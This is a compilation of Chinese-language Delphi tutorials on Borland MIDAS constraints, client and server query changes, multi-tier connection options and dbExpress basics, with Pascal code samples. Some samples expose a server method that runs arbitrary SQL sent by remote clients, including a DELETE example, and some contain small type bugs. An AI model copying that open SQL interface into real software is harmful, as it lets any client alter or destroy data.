一个用来区分 MIDAS 与其他分布式数据库解决方案的特征就是，MIDAS 支持动态数据约束（constraints）功能。这些动态约束可以控制由 AppServer 到瘦客户端的分布式数据的外观、业务确认规则、是否显示等等功能。作者（John Kaster）认为这是分布式数据库需具备的一个非常重要的特征。

MIDAS 数据包（Data Packets）概述
先介绍一下MIDAS 数据包（Data Packets）格式的详细特征，MIDAS 数据包（Data Packets）是一个独立于语言和中立传输（transport-neutral）的二进制流格式数据，他包括元数据（metadata）, 约束（constraints）, 数据（data）, 和deltas。
元数据是用来描述按照 APPSERVER 来分布的数据集。 MIDAS 2，3 支持嵌套数据集，因此单个数据包能够包含一个乃至于多个数据集的信息。约束是用来校验和显示数据集中的每个栏位的相关业务规则。Data 是数据集的实际数据栏位和记录数。Deltas 记录客户端的数据修改的 Log ，且是属于自动维护和传送到 AppServer中的。
MIDAS 数据栏位约束

数据栏位约束是在 AppServer 与客户程序之间传播，可以快速修改业务规则，非常简便的发布新的客户程序，基于服务器端的业务规则，可以自动强制应用于客户程序，从而增强了分布式应用系统的生存周期以及系统的可维护性。
如果没有充分的理由，应在客户端强迫执行基于服务器端的业务规则，这样将会提供应用系统的可靠性和数据的准确性，因为有问题的数据包会立即被客户程序检测到，所以应该培养正确的使用数据值和减少无效数据的网络回路的习惯。简单一点说，数据约束能让你快速构建分布式系统，及时响应相关修改要求和提高系统的可靠性
MIDAS 2、3 数据包能够自动的由 AppServer 到客户端传递以下数据栏位属性:
Constraint Property Description
ConstraintErrorMessage Message to display if data for the field if not valid.
Example: CustNo cannot be blank
CustomConstraint Constraints to place on the validation of the field. Expressions
can be used for this constraint.
Example: CustNo IS NOT NULL
DisplayFormat Controls formatting of the field for display
DisplayLabel Used as the data field's default column heading.
Example: Customer #

EditMask Used for customizing data entry for the field.
Example: 0000

MaxValue The maximum value of a numeric field
MinValue The minimum value of a numeric field
Visible A boolean value indicating whether the field should be visible in
a grid by default

实现约束编辑服务器（Constraint Editor Server）
只要客户连接到 MIDAS Server ，相关RDM(remote data module)就会自动创建并提供给客户来访问Server约束编辑服务器(ConstraintSvr.exe)在第一次使用这些RDM时会去获取 provider 的列表和包含在这些provider 中栏位约束。ConstraintSvr 也同样为编辑每个provider中的栏位约束提供一个用户接口和为每个应用实例保存更改结果。
在更改结果保存后（在系统运行期），客户程序只需要简单的重新连接的 AppServer，获取一个新的数据包，此包中包含新的业务约束。
变量角色（A Cast of Variants）
开始建立一个能够提供运行期编辑数据约束的应用程序，只需要做一点点代码定制。Screen 对象有一个属性可以列出一个应用程序中的所有数据模块（data modules），同样我们能通过检查此属性来建立包含在数据模块中的Provider 的列表。此 Provider 名列表是通过一个变量类型从数据模块中输出，同样也需要通过适当的Delphi 类型来接收数据模块的 Provider 命名。代码如下:
{ Copyright (c) 1999 - 2000 by John Kaster, Dan Miser and Louis Kleiman }
procedure GetProviderList( ProviderList : TStrings );
var

ProviderNames : OLEVariant;
I : Integer;

DataSet : TDataSet;
GenObject : TComponent;
begin

if (Screen.DataModuleCount = 0) then
Raise Exception.Create( 'No data modules are active.' );
ProviderList.Clear;

{ Get the list of all providers for the first data module.
All instances of the data module are probably the same. }
ProviderNames := IConstraints(TConstraints(Screen.DataModules[0])).
AS_GetProviderNames;
for I := VarArrayLowBound(ProviderNames, 1) to
VarArrayHighBound(ProviderNames, 1) do
begin

{ Retrieve the component matching the provider name }
GenObject := Screen.DataModules[0].FindComponent(ProviderNames[I]);
if (GenObject is TDataSetProvider) then
DataSet := TDataSetProvider(Screen.DataModules[0].
FindComponent(ProviderNames[I])).DataSet
else if (GenObject is TDBDataSet) then
DataSet := TDataSet(Screen.DataModules[0].
FindComponent(ProviderNames[I]))
else

     DataSet := nil;
{ Add it to the list of providers, attaching the Dataset if
   assigned }
ProviderList.AddObject(ProviderNames[I], DataSet);
end; { for }

end; { GetProviderList() }
接收约束内容

现在从RDM的实例获取 provider 列表，其他的都是一些传统的 Delphi 代码。通过一个列表框元件来显示Provider ,通过另一个列表框元件来显示每个提供者的栏位约束值。 Provider列表框元件命名为lbProviders。代码如下：
procedure TFormConstraintsEditor.lbProvidersClick(Sender: TObject);
var

DataSet : TDataSet;
I : Integer;

SaveActive : Boolean;
begin

lbFields.Clear;
DataSet := TDataSet(lbProviders.Items.Objects[lbProviders.ItemIndex]);
if Assigned(DataSet) then
begin

SaveActive := DataSet.Active;
DataSet.Open;

try
for I := 0 to DataSet.FieldCount - 1 do
lbFields.Items.AddObject(DataSet.Fields[I].FieldName,
DataSet.Fields[I]);

finally
DataSet.Active := SaveActive;
end; { try...finally }
end; { if }

end;
编辑约束内容值

现在使用编辑元件来为所选的栏位赋值。拖放这些控件到表单上，然后在下面的click 事件中将相应的选取的栏位的约束属性值赋值给编辑元件。 字段栏位列表框元件命名为lbFields 。代码如下：
procedure TFormConstraintsEditor.lbFieldsClick(Sender: TObject);
var

Field : TField;
begin

Field := TField(lbFields.Items.Objects[lbFields.ItemIndex]);
if Assigned(Field) then
begin

edErrorMessage.Text := Field.ConstraintErrorMessage;
edCustomConstraint.Text := Field.CustomConstraint;
edDisplayLabel.Text := Field.DisplayLabel;
edEditMask.Text := Field.EditMask;
edDisplayFormat.Text := '';
edMinValue.Text := '';
edMaxValue.Text := '';
cbVisible.Checked := Field.Visible;
if Field is TNumericField then
begin

with Field as TNumericField do
edDisplayFormat.Text := DisplayFormat;
if Field is TFloatField then
with Field as TFloatField do
begin

edMinValue.Text := FloatToStr( MinValue );
edMaxValue.Text := FloatToStr( MaxValue );
end

else if Field is TBCDField then
with Field as TBCDField do
begin

edMinValue.Text := FloatToStr( MinValue );
edMaxValue.Text := FloatToStr( MaxValue );
end

else if Field is TIntegerField then
with Field as TIntegerField do
begin

edMinValue.Text := IntToStr( MinValue );
edMaxValue.Text := IntToStr( MaxValue );
end

else if Field is TLargeIntField then
with Field as TLargeIntField do
begin

edMinValue.Text := IntToStr( MinValue );
edMaxValue.Text := IntToStr( MaxValue );
end;

end
else if Field is TDateTimeField then
with Field as TDateTimeField do
edDisplayFormat.Text := DisplayFormat;
end; { if }

end;
提交已编辑的约束值

在给字段栏位约束赋给了相应的值后，需提交应用这些约束值。代码如下：
procedure TFormConstraintsEditor.actApplyExecute(Sender: TObject);
var

Field : TField;
begin

Field := TField(lbFields.Items.Objects[lbFields.ItemIndex]);
if Assigned(Field) then
begin

Field.ConstraintErrorMessage := edErrorMessage.Text;
Field.CustomConstraint := edCustomConstraint.Text;
Field.DisplayLabel := edDisplayLabel.Text;
Field.EditMask := edEditMask.Text;
Field.Visible := cbVisible.Checked;
if Field is TNumericField then
begin

with Field as TNumericField do
DisplayFormat := edDisplayFormat.Text;
if Field is TFloatField then
with Field as TFloatField do
begin

MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end

else if Field is TBCDField then
with Field as TBCDField do
begin

MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end

else if Field is TIntegerField then
with Field as TIntegerField do
begin

MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end

else if Field is TLargeIntField then
with Field as TLargeIntField do
begin

MinValue := StrToInt( edMinValue.Text );
MaxValue := StrToInt( edMaxValue.Text );
end;

end
else if Field is TDateTimeField then
with Field as TDateTimeField do
DisplayFormat := edDisplayFormat.Text;
end; { if }

end;
现已创建了 ConstraintSvr 的主要代码，详细代码可以下载。
创建强制约束的客户程序

客户程序比创建服务器程序简单多拉，因为他只需要简单的接收一个修改后的数据包，而无须有编写Server 的知识。这是一个非常完美和强劲的动态约束程序示例：我们只需要在服务器端修改相关业务而无须修改客户程序，也无须发布新的客户程序。
通过以下步骤建立客户端程序：
拖一个 DCOMConnection 元件
设置: RemoteServer=ConstraintSvr.Constraints
拖一个 ClientDataset 元件
设置: RemoteServer=DCOMConnection1
设置: ProviderName=prvCustomer
拖一个 DataSource

设置: DataSet=ClientDataset1
拖一个 DBNavigator

设置: DataSource=DataSource1
拖一个 Button

设置: Name=btnOpen
双击 button 建立 click 事件，btnOpenClick 事件代码如下：
procedure TFormConstraintClient.BtnOpenClick(Sender: TObject);
begin

if ClientDataSet1.Active then
ClientDataSet1.Close;
ClientDataSet1.Open; { Refresh the dataset }
BtnOpen.Caption := '&Reopen';
end;


使TClientDataSet在计算字段、浏览字段上排序

 In the fields editor, when creating a new field to be sorted
on, choose New Field from the context menu and choose
InternalCalc as the field type. Or if creating TFields in
code, make the TField.FieldKind fkInternalCalc instead of
fkCalc. fkInternalCalc is only available in ClientDataSets.


在客户端改变服务器端的查询

1. If it is a parameterized query, you can use the
IProvider.SetParams call. Assuming you have 2 parameters
(Param1 and Param2). The following code fragment
demonstrates matching by index, Value1 goes to the first
parameter, etc...

ClientDataSet1.Provider.SetParams(VarArrayOf(Value1, Value2));

Or matching by param name:

var
V: Variant;
ParamCount: Integer;
//used for ease of reading
begin
ClientDataSet1.Close;
ParamCount := 2;
V :=
VarArrayCreate([0, ParamCount - 1], varVariant);
V[0] :=
VarArrayOf(['Param1',Value1]);
V[1] :=
VarArrayOf(['Param2',Value2]);
ClientDataSet1.Provider.SetParams(V);
ClientDataSet1.Open;
end;

For more example code see
\demos\midas\setparam.

2. If you want to change the SQL, then you can use the
IProvider.DataRequest method.

On the Client;

CDS.Data := CDS.Provider.DataRequest('select * from customer');

On the server, you must use a TProvider object, and assign
the OnDataRequest event;

function TForm1.Provider1DataRequest(Sender:
TObject;
Input: OleVariant): OleVariant;
begin
//assumes DataSet is a TQuery.
Provider1.DataSet.Close;
TQuery(Provider1.DataSet).SQL.Text :=
Input;
Provider1.DataSet.Open;
Result :=
Provider1.Data;
end;

For more example code see
\demos\midas\adhoc.

3. Create you own interface function that executes the SQL
statement.

In the RemoteDataModule:

a. Edit | Add To Interface "procedure ExecSQL(SQL:
WideString);" This will add a procedure to your
interface.

b. On the server, code the new procedure:

procedure RemoteData.ExecSQL(SQL: WideString);
begin
{
Query1 is kept in the RemoteDatamodule for this purpose}
Query1.SQL.Text := SQL;
Query1.ExecSQL;
end;

c. On the client, call the new procedure:

RemoteServer1.AppServer.ExecSQL('Delete from deal details
where dealnumber=1');


Borland的MIDAS技术

MIDAS——多层分布式应用程序服务器

----对MIDAS这个名字一般有两种理解。MIDAS是Multi－
tierDistributedApplicationServicesSuite（多层分布式应用
程序服务包）的缩写，这也诠释了MIDAS技术的实质。也许因为
这个本义太长，很多人更愿意把它理解成Multi－tierMadeEasy，
这也是MIDAS的作用。多层计算（Multi－tieredcomputing）是

业界对此类技术通用的术语，而Multi－tier是Borland公司采
用的技术术语。Borland典型的三层结构如下：第一层是数据库
服务器，第二层是应用服务器，第三层是瘦客户机。

----数据库服务器是诸如InterBase、Oracle、Sybase、
MSSQLServer等数据库，应用服务器和瘦客户机由Delphi建立。
大多数情况下，数据库访问软件（例如BDE,SQL＊NET等等）与
应用服务器运行在同一台机器上。

----应用服务器主要基于Borland的分布式数据技术，至少包括
两方面的内容：

----1.内置在Delphi组件中;

----2.OLEnterprise产品对分布式计算和负载平衡提供超强的支
持。

----内置在Delphi组件中使你能很容易地使用DCOM、Socket或
OLEnterprise连接两台机器，并在两者之间来回传输数据集。
OLEnterprise工具提供DCOM的选择方法简化了连接两台机器的
任务，尤其是对两台运行Windows95的机器更是如此。
OLEnterprise使用户能访问ObjectBroker，它允许在几个服务
器中随机分配任务负载。此外，还可以在几台机器上装载服务器
工具，每次实行连接时，Broker会选择其中一台机器。例如，如
果你有100个客户端和3台服务器，ObjectBroker会随机分配负

载给3台服务器，每台服务器大约有33个客户端。Broker会在
服务器异常关闭时提供支持。编写几行代码可以提供服务器错误
处理，把客户端从出现问题的服务器切换到另一台正常运行的服
务器。另外Broker不会试图把一个新的客户端连接到已经关闭
的服务器上，相反它会自动连接到其中一台正在运行的服务器
上。

----分布式数据集可以基于DCOM，在客户端没有任何数据库工具
的情况下读取远程数据。有些用户可能会有这样的疑问：通过浏
览器和Web服务器也能在客户端没有任何数据库工具的情况下观
察远程机器上的数据集，为什么还要采用分布式数据集呢？这是

因为浏览器的功能远不如Borland分布式数据集的功能。如果没
有一种强大的第三方工具（如IntraBuilder），要增强浏览器的
约束条件，或者在浏览器中加入或建立一个一到多的关系表是非
常困难的。但这些功能都可以在Delphi的多层应用程序中简单
地实现，Delphi的编译应用程序比基于HTML的应用更快速、更
易于应答。

----分布式数据集允许在客户端的应用中使用所有标准的Delphi
组件，包括数据库工具，但是客户端无须装载BDE、ODBC或者任
何数据库类库(例如OracleSQL＊NET、SybaseCT－Lib等等)。当

然网络上的某些地方需要BDE或类似的引擎，但是客户端无须装
载。简言之，现在只需要一套服务器端的数据库工具，每一个客
户端就可以使用它。

----分布式数据集是缩减网络通信量的一种方法。从服务器端下
载数据后，在客户端操作数据而无须初始化任何网络交易，除非
需要更改服务器端。这意味着在不启动网络交易的情况下，可以
编辑、插入、删除多个记录。更改服务器数据时，可以在预先选
定的时间段内把多个数据包送到网络上。

----另外，当客户端从网络上断开时，仍然可以利用
“briefcasemodel"访问数据。其操作步骤如下：先把一个远程

数据库复制到磁盘上，然后关闭计算机，再重新引导它、断开网
络连接、编辑数据，接着重新联网并修改数据库。所有这些都可
以在没有大型数据库工具的客户端完成。这说明为了操作数据，
客户端不必每时每刻都与服务器连接。这对于膝上型计算机用户
和想要保持数据库通信量最小的站点是非常理想的。

----MIDAS技术的另一方面是提供访问数据库约束条件。当从服
务器上卸载数据时，可以同时卸载一套自动执行的约束条件。约
束条件可以帮助程序员确保用户输入合法的数据。当重新连到网
络上时，数据可以被正确地修改。如果你在更改数据库时偶然发

生了一个错误，那么内建的机制会帮助程序员报告和处理错误。
例如，如果另一个用户已经更改了你正试图更改的那条记录，那
么你将看到一个提示你如何处理的选项表。在
DelphiObjectRepository中的一个预建表单可以使你的应用程序
简单地实现错误处理。

----Borland多层计算的另一个重要功能是将数据库的负载分散
到多个服务器上。这样，一旦发生错误也能恢复。概括起来讲，
这些技术存在于三种Broker中：

----第一种叫做RemoteDataBroker，RemoteDataBroker结构的
精髓是让每一个客户端不再需要BDE，取而代之的是一个中央化

的BDE，以集中管理的方式降低每一个客户在BDE上所需的开销
和复杂度。

----第二种叫做ConstraintBroker，它所扮演的角色是保证所有
客户数据的一致性及数据的完整性。

----第三种是BusinessObjectBroker，它的目的是给一些关键性
的商业应用程序提供一个快速且可信赖的使用环境。为了满足这
种高层次的要求，BusinessObjectBroker会自动地将应用程序做
适当的划分，并复制重要的业务规则到每一个区间，以达到速度
的要求。

实现工具

----Borland提供了四种Delphi工具帮助用户实现分布式数据

集。前两个在服务器端：

----1.远程数据模块像标准数据模块一样，它不但可以将数据传
播到当前的应用中，而且会传到网络上的特定区域中。特别是它
们把简单的数据模块转化成COM对象，允许你通过DCOM访问远
程服务器上的数据库。

----2.TProvider组件就像可以驻留在标准数据模块中的TTable
组件一样，驻留在远程数据模块中，不同的是TProvider在网络
上发布数据表。TTable和TQuery组件都含有Provider属性。但
是如果把它作为一个独立的组件访问，会有更大的灵活性和力
量。特别是把TProvider组件与TTable或TQuery组件建立连接，

网络上的其它程序就可通过DCOM从TTable或TQuery访问数据。
远程数据模块的任务就是使客户端访问服务器上特定的
Provider。

----在客户端可以利用两个组件访问服务器提供的数据：

----1.TRemoteServer组件把客户端连到服务器上，特别是连到
服务器的远程数据模块上。更明确地说是连到远程数据模块支持
的COM接口上。TRemoteServer能浏览可用的服务器，一旦找到
服务器，TRemoteServer就可与之连接。

----2.TClientDataSet与TRemoteServer组件连接在一起，在服
务器上就得到一个特定的Provider。简言之，TClientDataSet

组件扮演了与TQuery或TTable同样的角色，只不过它是为远程
站点提供数据服务。如同在许多标准的Delphi应用程序中传统
TDatabase、TTable、TDataSource、TDBGrid组件的配置结构一
样，在远程数据集中使用TRemoteServer、TClientDataSet、
TDataSource和TDBGrid组件，它们的配置只是稍有不同。在这
个新的方案中，TRemoteServer的作用类似于TDatabase的作用，
而TClientDataSet组件与TTable或TQuery组件所起的作用又

极其相似。

结论

----MIDAS为多层结构的应用开发提供了强大的功能，这使得开

发者再也无需为越来越庞大的数据及应用发愁了。在
Delphi Client/Server版中打包了MIDAS的开发版，它可以用
于多层结构应用的开发及调试，在应用分布时，还需要另外购买
BorlandMIDASforDelphi。


多层结构连接方式选择的分析

Borland公司的MIDAS让我们能用Delphi构建强大的多层分布式数据库系统，MIDAS提供了很多种的客户程序和中间层的连接方式，如：Sockect，DCOM，Corba等等，这么多的方式，在开发多层体系的时候我们应该如何选择呢，下面我就简单的介绍一下这几种连结方式。

Socket：

Sockect无疑是最容易配置的连接方式。而且Socket只使用一个端口来进行通讯，这样如果在拥有防火墙的系统中，管理员会更乐意接受Socket因为配置通过防火墙的Dcom是相对麻烦的事情。在安装中间层的机器上，只要运行SCKTSRVR.EXE就可以和客户端建立Socket的连接了。但是Socket并不支持早联编（early-binding）

COM和DCOM：

COM/DCOM 提供了核心的NTLM的安全性和验证机制。在COM/DCOM里面我们可以很轻松地使用早联编（early-binding）、 回调机制（callback）和连结点机制（ConnectionPoints）。 但是它的不利因素就是配置客户端的DCOM和让DCOM透过防火墙（FireWall）相当麻烦。

MTS：

MTS能够为分布式的系统提供数据库连结池、事务支持，便于分发等优点，在它基础之上的COM+（Windows2000已经提供了这个服务）组合了COM和MTS的功能。MTS的缺点就是对处理使用BDE的多用户应用的事务处理支持很弱。当然ADO不在这个范围啦

CORBA：

CORBA是一个跨平台的开放式标准（特别是在很多的JAVA应用中，因为他们都是跨平台的产品），通过VisiBroker（很著名的ORB系统），配置比DCOM方便多了。Borland不久前发布的IDL2Pas的产品使得我们可以编写Delphi的客户端轻松的访问CORBA组件。CORBA本身的负载平衡、命名服务和事件服务可以让开发者构建更稳定和扩展性强的分布式系统。缺点是我们在开发CORBA得系统中不能完全地使用早联编；为了支持COBRA客户端需要分发额外的文件如borlndmm.dll， cp3245mt.dll， midas.dll，orb_br.dll，orbpas50.dll；Delphi不是能够使用全部的VisiBroker的功能，比如以服务方式运行的OAD和GateKeeper


无状态的中间层的数据存取

在Delphi5的Midas3中，Borland公司完全引入了中间层的无状态的概念。 一是为了迎合Microsoft公司的MTS，另外也就是为了减少中间层服务器的资源消耗，这样，就能够让中间层服务器服务更多的用户。

这样的无状态的中间层服务器就意味着中间层的DataModule不会再为客户端维护打开的数据集的光标（Cursor），客户端只有通过自己维护状态信息来保证提取到正确的数据记录。

那么，客户端是如何维护自身的状态信息的呢。

Delphi5的TClientDataSet加入了IAppServer的接口，在IAppServer的接口中有这么一个接口函数定义：
function AS_GetRecords，这个接口有一个参数“var OwnerData:OleVariant”，能够让客户端在向中间层请求数据的时候传递附加的参数，我们就能够利用这个参数达到维护状态信息的目的。

确定你所要存取的数据表有一个能够唯一标识的字段（或者是一组字段）
在调用AS_GetRecords的时候在OwnerData传递这个唯一标识
ClientDataSet的FetchOnDemand设置成 False
ClientDataSet的PacketRecords设置成10（反正不要太大就行了）
每次向中间层请求数据的时候，把唯一标识传给中间层服务器，让中间层的DataModule里面的Provider打开数据集，然后把数据集利用Locate方法定位到唯一标识记录，然后调用Next方法就可以了
注意，每次Fetch数据时传递的唯一标识就是客户端的ClientDataset的最后一条记录的那个啦


DBExpress 入门

——程 健

email: mailto:cjcjc@citiz.net

一、引言

刚才拿到一张Delphi 6的企业版，我最关心的无疑是其新增强大的Web支持和全新的数据存取技术（dbExpress）。本文就dbExpress技术做一简要讨论。

二、简介（Overview）

dbExpress是在Kylix中首先引进的一种极其快速、小巧、易发布的SQL数据库存储技术。由于它摆脱了传统的数据存取方式，完全摆脱了，BDE/IDAPI、ADO、ODBC等存取数据方式，而且是目前在Kylix中存取数据库的唯一方法，所以，它是一种真正跨平台的数

据库存取技术，尤其适合开发多层（N-Tierd）应用。

dbExpress为每一种其支持的数据库撰写具有统一接口的dbExpress驱动程序，所以，当你发布dbExpress饮用程序时，必须同时发布此驱动程序（一个DLL文件）。目前，dbExpress支持一下数据库：InterBase、DB2、Oracle、mySQL。很可喜，我最常用的MS－SQL Server没有被支持、不过，仔细想想Microsoft数据存取技术的，这也就不难理解了。

三、单向数据集（Unidirectional Dataset）

为什么dbExpress那么快？答案是，它使用了单向数据集。它提供了一种高速、轻巧的存取数据库信息的技术，它能够向数据库服务器发送SQL指令，如果返回数据，它也能够获得访问这些数据的游标。但是，它只能处理单向、只读的游标、它不在内存中进行数据缓存，这样可以提高数据存取速度并使用最少的资源。天下没有不要钱的午餐，由于使用了这种单向技术，dbExpress相对与原来的TDataSet，有了不少限制、

四、dbExpress的限制（Limitation）

1、在数据集中导航（即在数据集中跳转）的方法只省下First和Next。大多数其它方法都会导致产生异常。其它（比如GotoBookMark）什么都不做。

2、你无法直接对数据集进行修改，CanModify属性永远是false，如果你想用什么Edit之类的方法对其进行编辑，那都是徒劳的。你应该已经想到直接用一条UPDATE便可解决了吧？

3、数据过滤不能用了，当然，直接用SELECT的WHERE子句吧。

4、最讨厌的是Lookup Field不能用了，如果你习惯用它，那真的是很麻烦。用JOIN吧……

五、dbExpress数据存取控件

Delphi 6提供了以下四种dbExpress数据存取控件： TSQLDataSet、TSQLQuery、TSQLTable、TSQLStoredProc（图1）。

dbexpress1.bmp (121234 Bytes)

图 1 dbExpress控件

一般我们推荐用TSQLDataSet，因为它通用，即可以向数据库服务器发送命令，也可以处理任何数据。其它三个应该都可以相向了，是让用惯了TTable、TQuery、TStoredProc的用户可以比较好上手，也可以比较容易的把以前的程序迁移到dbExpress。

注1：不要以为这四个控件有什么互相从属关系，它们都是从TSQLCustomDataSet继承下来的。

六、dbExpress程序一般构架——第一个dbExpress程序

正如BDE需要TDatabase。ADO需要TADOConnection一样，dbExpress提供了TSQLConnection控件，我们在dbExpress程序中，首先需要放置TSQLConnection控件，使其连接到数据库，然后再用数据存取控件来访问数据。下面，我们就来建立我们第一个dbExpress应用程序。我们假定您安装并启动了Interbase 6服务器，并有默认的IBLOCAL别名。

1、运行Delphi6 Profasional或者Enterprise版，File->New->Application；

2、放置一个Tedit，其Text属性为select * from CUSTOMER；一个Tbutton，其Caption属性为Go；一个TlistView其ViewStyle属性为vsReport；一个TSQLConnection；一个TSQLDataSet，其SQLConnection属性为刚才放置的SQLConnection1。见图2。

dbexpress2.bmp (667374 Bytes)

图 2程序的初步设置

3、双击SQLConnection1，出现dbExpress Connection对话框，在Connection Name中选择ibLocal，确定右边的Database项中的数据库名正确，见图3。

图 3 dbExpress Connections对话框

4、双击Button1，在OnClick中输入如下代码：

procedure TForm1.Button1Click(Sender: TObject);

var

i, j:Integer;

begin

//判断是否有SQL语句

if Edit1.Text = '' then

begin

ShowMessage('No SQL Statement!');

exit;

end;

//执行SQL语句

if SQLDataSet1.Active then

SQLConnection1.Close;

SQLDataSet1.CommandText := Edit1.Text;

SQLDataSet1.Open;

//根据返回的数据集调整TListView控件

ListView1.Items.Clear;

ListView1.Columns.Clear;

for i := 0 to SQLDataSet1.Fields.Count do

with ListView1.Columns.Add do

if i = 0 then

Caption := 'NO.'

else

Caption := SQLDataSet1.Fields[i - 1].DisplayLabel ;

j := 1;

//显示数据

SQLDataSet1.First;

while not SQLDataSet1.Eof do

begin

with ListView1.Items.Add do

begin

Caption := IntToStr(j);

for i := 0 to SQLDataSet1.Fields.Count - 1 do

SubItems.Add(SQLDataSet1.Fields[i].AsString);

end;

inc(j);

SQLDataSet1.Next;

end;

end;

5、保存并运行程序（图4），你可以输入任何有效的SELECT语句，查阅有关数据。

图 4 第一个dbExpress实例运行情况

七、不返回数据集的SQL语句

我们可以用ExecSQL语句来处理不返回数据集的SQL语句，我们可以通过修改上面的实例来验证这一点。修改Button1Onclick中的代码如下：

procedure TForm1.Button1Click(Sender: TObject);

var

i, j:Integer;

begin

//判断是否有SQL语句

if Edit1.Text = '' then

begin

ShowMessage('No SQL Statement!');

exit;

end;

//执行SQL语句

if SQLDataSet1.Active then

SQLConnection1.Close;

//NEW

SQLDataSet1.CommandText := TrimLeft(Edit1.Text);

if UpperCase(copy(SQLDataSet1.CommandText,1,6)) <> 'SELECT' then

begin

//if not a select statement so it does not return data

SQLDataSet1.ExecSQL;

ShowMessage('Statement executed');

Exit;

end;

SQLDataSet1.Open;

//根据返回的数据集调整TListView控件

ListView1.Items.Clear;

ListView1.Columns.Clear;

for i := 0 to SQLDataSet1.Fields.Count do

with ListView1.Columns.Add do

if i = 0 then

Caption := 'NO.'

else

Caption := SQLDataSet1.Fields[i - 1].DisplayLabel ;

j := 1;

//显示数据

SQLDataSet1.First;

while not SQLDataSet1.Eof do

begin

with ListView1.Items.Add do

begin

Caption := IntToStr(j);

for i := 0 to SQLDataSet1.Fields.Count - 1 do

SubItems.Add(SQLDataSet1.Fields[i].AsString);

end;

inc(j);

SQLDataSet1.Next;

end;

end;

八、主要/明细（Master/Detail）

除了以上限制（那些限制有时还真的是很麻烦），你以前在BDE中使用的技巧都能在dbExpress中使用。比如，你可以使用以前的技术建立Master/Detail的关系——如果你使用SQLTable，那么使用其MasterSource，MasterField属性；如果你使用TSQLQuery，那么可以使用一个参数来传递信息。在MstDtl1和MstDtl2分别演示了这两种技术（图5，6）。由于使用了单向数据集，我们无法使用TDBGrid控件，也无法在DBNavigator中使用除了First和Next之外的按钮。不过值得注意的是，当你在Master表中使用了First后，会出现问题，需要Reopen Detail表才行。

图 5主要/明细实例

图 6主要/明细实例

九、结束语

本文就dbExpress的入门技术做一简要简要介绍，希望对读者有所帮助。


DBExpress 提高

——程 健

Email: mailto:cjcjc@citiz.net

一、TSQLConnection

TSQLConnection和Tdatabase,、TADOConnection\TIBDatabase一样，继承自TcustomConnection. TcustomConnection提供了Connected，DataSetCount， DataSets，LoginPrompt、StreamedConnected等常用属性。

1、dbxconnections.ini和dbxdrivers.ini

在讨论TSQLConnection的之前，让我们先看看dbxconnections.ini和dbxdrivers.ini，它们默认存放在.\Borland Shared\dbExpress\，dbxdrivers.ini中保存着各种dbExpress驱动程序信息，所需要的库信息（DLL），默认参数设定；dbxconnections.ini保存每个连接的具体设定（在dbExpress Connections对话框中看到的信息）。

2、TSQLConnection的重要属性

Connected：是否连接到数据库；

ConnectionName：连接名称，可以双击TSQLConnection控件进行设定、增减；

DataSets：当前所有连接到本SQLConnection的活动DataSet（包括TSQLDataSet、TSQLTable、TSQLQuery、TSQLStoredProc）;

DriverName：驱动程序名；

KeepConnection：保持连接状态；

TableScope：此属性决定当取得数据库中表时返回表的类型。其定义如下：

type

TTableScope = (tsSynonym, tsSysTable, tsTable, tsView);

TTableScopes = set of TTableScope;

property TableScope: TTableScopes;

TTableScope = (tsSynonym, tsSysTable, tsTable, tsView);

TTableScopes = set of TTableScope;

其中：

tsSynonym：返回重名表

tsSysTable：返回系统表

tsTable ：返回普通表

tsView views：返回视图

VendorLib：返回dbExpress与数据库服务器连接所需的DLL。

3、重要方法

CloseDataSets：关闭与此SQLConnection连接所有活动DataSet（包括TSQLDataSet、TSQLTable、TSQLQuery、TSQLStoredProc）;

StartTransaction、Commit、Rollback：一组处理事务的命令，应该都很熟悉了。先执行StartTransaction，然后执行关键任务，如果执行Commit，则保存执行结果，如果执行RollBack，则取消上一次StartTransaction或Commit到目前为止所有任务。给出简单实例（摘自Delphi帮助）：

procedure TForm1.TransferButtonClick(Sender: TObject);

var

Amt: Integer;

TD: TTransactionDesc;

begin

if not SQLConnection1.InTransaction then //如果目前不在一个事务中

begin

TD.TransactionID := 1;

TD.IsolationLevel := xilREADCOMMITTED;

SQLConnection1.StartTransaction(TD);

try

Amt := StrToInt(AmtEdit.Text);

Debit.Params.ParamValues['Amount'] := Amt;

Credit.Params.ParamValues['Amount'] := Amt;

SQLConnection1.Commit(TD); //一切顺利则递交

except

SQLConnection1.Rollback(TD); //发生任何错误则回滚

end;

end;

end;

Execute：执行一条SQL语句；

function Execute(const SQL: string; Params: TParams; ResultSet:Pointer=nil): Integer;

参数：

SQL：需要执行的SQL语句；

Params：Tparams类型，执行此SQL的参数；

ExecuteDirect：执行不带参数的SQL语句；。

function ExecuteDirect(const SQL: string ): LongWord;

参数为需要执行的SQL语句，如果执行成功则返回0。

GetFieldNames，GetIndexNames，GetProcedureNames，GetProcedureParams，GetTableNames：获得有关信列、索引、存储过程、存储过程参数、表名等信息。

4、事件

TSQLConnection的事件相当简单，也相当易懂OnLogin、AfterConnect、AfterDisconnect、BeforeConnect、BeforeDisconnect。

二、TSQLDataSet

TSQLDataSet 继承自 TCustomSQLDataSet ，而 TCustomSQLDataSet 继承自TdataSet。所以，其大多数方法、属性、事件大家都很熟悉了。

其重要属性如下：

CommandText：向数据库服务器发送的命令；

CommandType：决定命令类型，其定义如下：

type TSQLCommandType = (ctQuery, ctTable, ctStoredProc);

property CommandType: TSQLCommandType;

ctQuery：此命令是一条需要执行的SQL语句；

ctStoredProc：命令是一个存储过程名；

ctTable：命令是数据库服务器上的表名，系统会自动生成SELECT语句返回记录。

DesignerData：字符类型，没有任何实际意义，我们可以保存任何信息在此属性中。

MaxBlobSize：整数型，BLOB类型数据的最大值。如果为－1，则返回所有数据。

SQLConnection：指向TSQLConnection对象，以连接数据库服务器。

三、TSQLClientDataSet

TSQLClientDataSet是一个在使用类似于TClientDataSet而在内部使用了TSQLDataSet和TSQLProvider的组件。这意味着，它可以使用dbExpress的机制来访问数据库，而又能在内存中保存让用户浏览、修改，最后递交到数据库服务器（这也牺牲部分性能）。这就在数据库访问性能和易操作性间给出了平衡。

这里，我们给出了一个实例来正式这一点（dbsqlclientdataset2）。我们使用一个TDBGrid，一个TDBNavigator，一个TSQLConnection，一个TSQLClientDataSet，一个TButton组成了一个最简单的程序。

图 1TSQLClientDataSet的实例

我们可以清晰的看到，在按了Button1后执行了 SQLClientDataSet1.ApplyUpdates(-1);，数据被修改了。

